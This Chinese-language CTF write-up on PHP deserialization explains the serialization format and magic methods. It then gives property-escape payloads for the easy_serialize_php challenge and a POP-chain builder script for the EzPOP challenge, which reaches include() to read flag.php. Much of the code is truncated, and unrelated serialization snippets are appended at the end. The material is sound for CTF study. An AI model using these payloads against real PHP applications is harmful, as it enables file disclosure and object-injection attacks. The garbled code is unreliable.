記一些ctf出現的序列化與反序列化的知識點和題目。
序列化就是將物件轉換成字串。字串包括 屬性名 屬性值 屬性型別和該物件對應的類名。反序列化則相反將字串重新恢復成物件。
物件的序列化利於物件的儲存和傳輸,也可以讓多個檔案共享物件。
__construct() 建立物件時呼叫
__destruct() 銷毀物件時呼叫
__tostring() 當乙個物件被當作乙個字串使用
__sleep() 在物件在被序列化之前執行
__wakeup 將在序列化之後立即被呼叫
__get() 用於從不可訪問的屬性讀取資料
#難以訪問包括:(1)私有屬性,(2)沒有初始化的屬性
__invoke() 當指令碼嘗試將物件呼叫為函式時觸發
o:3:"ctf":3";s:4:"name";s:7:"sch0lar";s:3:"age";s:2:"18";}
o代表物件 因為我們序列化的是乙個物件 序列化陣列則用a來表示
3 代表類名字佔三個字元
ctf 類名
3 代表三個屬性
s代表字串
4代表屬性名長度
flag屬性名
s:13:"flag" 字串 屬性值長度 屬性值
i:100 i是數字
a
array陣列
bboolean判斷型別
ddouble浮點數
iinteger整數型
ocommon object 一般的物件
rreference引用型別
sstring字串型別
ccustom object
oclass
nnull
rpointer reference
uunicode string
根據訪問控制修飾符的不同 序列化後的 屬性長度和屬性值會有所不同,所以這裡簡單提一下
public(公有)
protected(受保護)
private(私有的)
protected屬性被序列化的時候屬性值會變成:%00*%00屬性名
private屬性被序列化的時候屬性值會變成:%00類名%00屬性名
就像這樣
o:4:"name":2://這裡是private屬性被序列化
通常,做序列化題目,如果原始碼只是反序列化,一般是需要構造pop鏈為好,如果是由序列化又有反序列化,可能是序列化繞過
原理:大概就是利用客戶端可控引數,偽造成型的序列化結構,來擠出不需要的屬性值
條件:題目:[安洵杯 2019]easy_serialize_php
<?php
$function = @$_get['f'];
function filter($img)
if($_session)
$_session["user"] = 'guest';
$_session['function'] = $function;
extract($_post);
if(!$function)
if(!$_get['img_path'])else
$serialize_info = filter(serialize($_session));
if($function == 'highlight_file')else if($function == 'phpinfo')else if($function == 'show_image')
還有乙個層面的逃逸
鍵逃逸這兒需要兩個連續的鍵值對,由第乙個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為乙個鍵值對
_session[user]=flagflagflagflagflagflag&_session[function]=a";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";s:2:"dd";s:1:"a";}&function=show_image
值逃逸這兒只需要乙個鍵值對就行了,我們直接構造會被過濾的鍵,這樣值得一部分充當鍵,剩下得一部分作為單獨得鍵值對
_session[flagphp]=;s:1:"1";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";}
從題來看
filter是個過濾函式,能夠將黑名單的字串刪除,這就給了我們逃逸的機會
extract覆蓋了兩個屬性,我們能夠自定義屬性,雖然控制不了img,但是就可以擠出他去
playload
_session[flagphp]=;s:1:"1";s:3:"img";s:20:"zdbnm19mmwfnlnboca==";}
原理:
就是**審計,要耐心,雖然耐心也不一定能成功
條件:沒啥條件,就看得出來他只給你留一條路,通過魔術方法的呼叫來實現引用
看題:[mrctf2020]ezpop
welcome to index.php
<?php
//flag is in flag.php
//wtf is this?
//learn from
//and crack it!
class modifier
public function __invoke()
}class show
public function __tostring()
public function __wakeup()
}}class test
public function __get($key)
}if(isset($_get['pop']))
else
這種題的重點是在構建pop鏈上,只要將pop鏈構建好,直接貼playload就成功
但pop鏈怎麼構造,需要審計,看哥哥方法之間的聯絡
就比如說,我們在這裡能夠最終得到flag的地方只有
include($value);
}這個include才行
那怎麼到include,只有下面的invoke方法
public function __invoke()
invoke是魔術方法,是將類當作函式使用的時候會自動呼叫
我們能將看到,在test類中有個function是被當作函式使用,所以我們可以賦給function modifier類
而function是p屬性賦給的,所以我們賦給p屬性modifer類
而呼叫get方法,需要在test類中呼叫不存在的屬性或別的東西,所以我們可以借助show類中的$this->str->source
使str為test類,source屬性不在test中存在,就可以呼叫get方法,
而如何呼叫tostring方法,只有在將類當作字串使用時候,會自動呼叫tostring
我們可以借用wakeup中的preg_match函式,因為在進行比較的時候,會將$this->source當作字串使用
那我們如何呼叫wakeup方法,只有在反序列化的時候會自動呼叫,所以我們就可以構建pop鏈了
<?php
class modifier
public function __invoke()
}class show
public function __tostring()
public function __wakeup()
}}class test
}$a=new show();
$b=new show();
$a->source=$b;
$a->source->str=new test();
$a->source->str->p=new modifier();
print(urlencode(serialize($a)));
構建完,將playload一貼就好了
問題原始碼:
#簡化版:
<?php
class a
$a =new a();
$a->expire=0;
$a->key='nidaye.php';
問題報錯形式:
fatal error: uncaught error: cannot access protected property a::$expire in d:\phpstudy_pro\www\new.php:102 stack trace: #0 thrown in d:\phpstudy_pro\www\new.php on line 102
原因:受保護的屬性或方法不允許在外部呼叫
改進方法:在內部呼叫
<?php
class a
$a =new a();
序列化小結
wiki的描述如下 序列化在電腦科學的資料處理中,是指將資料結構或物件狀態轉換成可取用格式 例如存成檔案,存於緩衝,或經由網路中傳送 以留待後續在相同或另一台計算機環境中,能恢復原先狀態的過程。筆者個人理解如下 此處為了便於讀者理解舉個例子 現在有乙個 student類,有name,age等引數。需...
物件序列化 經驗小結
net的物件序列化真是好東西,以後要多多利用。在使用.net的序列化時,碰到過一些問題,還好,有豐富的msdn可查,沒有什麼過不去的檻。在這裡,把使用.net序列化的經驗小結一下。1.基本確認xmlserializer使用utf8對序列化的xml文件編碼。2.xmlserializer只序列化宣告為...
序列化(序列化)
原書上翻譯為序列化,msdn翻譯為序列化 作用 當需要儲存,或者網路傳輸 remoting時,資料 物件或值 需要序列化 類似於打包傳輸檔案。system.serializableattribute 序列化是指儲存和獲取磁碟檔案 記憶體或其他地方中的物件。在序列化時,所有的例項資料都儲存到儲存介質上...